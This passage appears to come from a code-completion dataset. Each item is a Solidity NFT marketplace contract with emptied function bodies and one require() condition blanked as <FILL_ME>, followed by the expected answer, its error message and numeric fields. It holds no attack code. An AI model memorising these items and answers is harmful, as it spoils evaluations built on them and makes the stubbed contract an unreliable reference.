_pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
block.timestamp-_startTime<1hours,"ST"
435,928
block.timestamp-_startTime<1hours
"not winning bid."
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { Offer memory currentWinningBid = winningBid[_targetListing.listingId]; uint256 currentOfferAmount = currentWinningBid.pricePerToken * currentWinningBid.quantityWanted; uint256 incomingOfferAmount = _incomingBid.pricePerToken * _incomingBid.quantityWanted; address _nativeTokenWrapper = nativeTokenWrapper; // Close auction and execute sale if there's a buyout price and incoming offer amount is buyout price. if ( _targetListing.buyoutPricePerToken > 0 && incomingOfferAmount >= _targetListing.buyoutPricePerToken * _targetListing.quantity ) { _closeAuctionForBidder(_targetListing, _incomingBid); } else { /** * If there's an exisitng winning bid, incoming bid amount must be bid buffer % greater. * Else, bid amount must be at least as great as reserve price */ require(<FILL_ME>) // Update the winning bid and listing's end time before external contract calls. winningBid[_targetListing.listingId] = _incomingBid; if (_targetListing.endTime - block.timestamp <= timeBuffer) { _targetListing.endTime += timeBuffer; listings[_targetListing.listingId] = _targetListing; } } // Payout previous highest bid. if (currentWinningBid.offeror != address(0) && currentOfferAmount > 0) { CurrencyTransferLib.transferCurrencyWithWrapper( _targetListing.currency, address(this), currentWinningBid.offeror, currentOfferAmount, _nativeTokenWrapper ); } // Collect incoming bid CurrencyTransferLib.transferCurrencyWithWrapper( _targetListing.currency, _incomingBid.offeror, address(this), incomingOfferAmount, _nativeTokenWrapper ); emit NewOffer( _targetListing.listingId, _incomingBid.offeror, _targetListing.listingType, _incomingBid.quantityWanted, _incomingBid.pricePerToken * _incomingBid.quantityWanted, _incomingBid.currency ); } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
isNewWinningBid(_targetListing.reservePricePerToken*_targetListing.quantity,currentOfferAmount,incomingOfferAmount),"not winning bid."
435,928
isNewWinningBid(_targetListing.reservePricePerToken*_targetListing.quantity,currentOfferAmount,incomingOfferAmount)
"caller is not the listing creator."
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { require(<FILL_ME>) delete listings[_targetListing.listingId]; transferListingTokens(address(this), _targetListing.tokenOwner, _targetListing.quantity, _targetListing); emit AuctionClosed(_targetListing.listingId, _msgSender(), true, _targetListing.tokenOwner, address(0)); } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
listings[_targetListing.listingId].tokenOwner==_msgSender(),"caller is not the listing creator."
435,928
listings[_targetListing.listingId].tokenOwner==_msgSender()
"fees exceed the price"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev 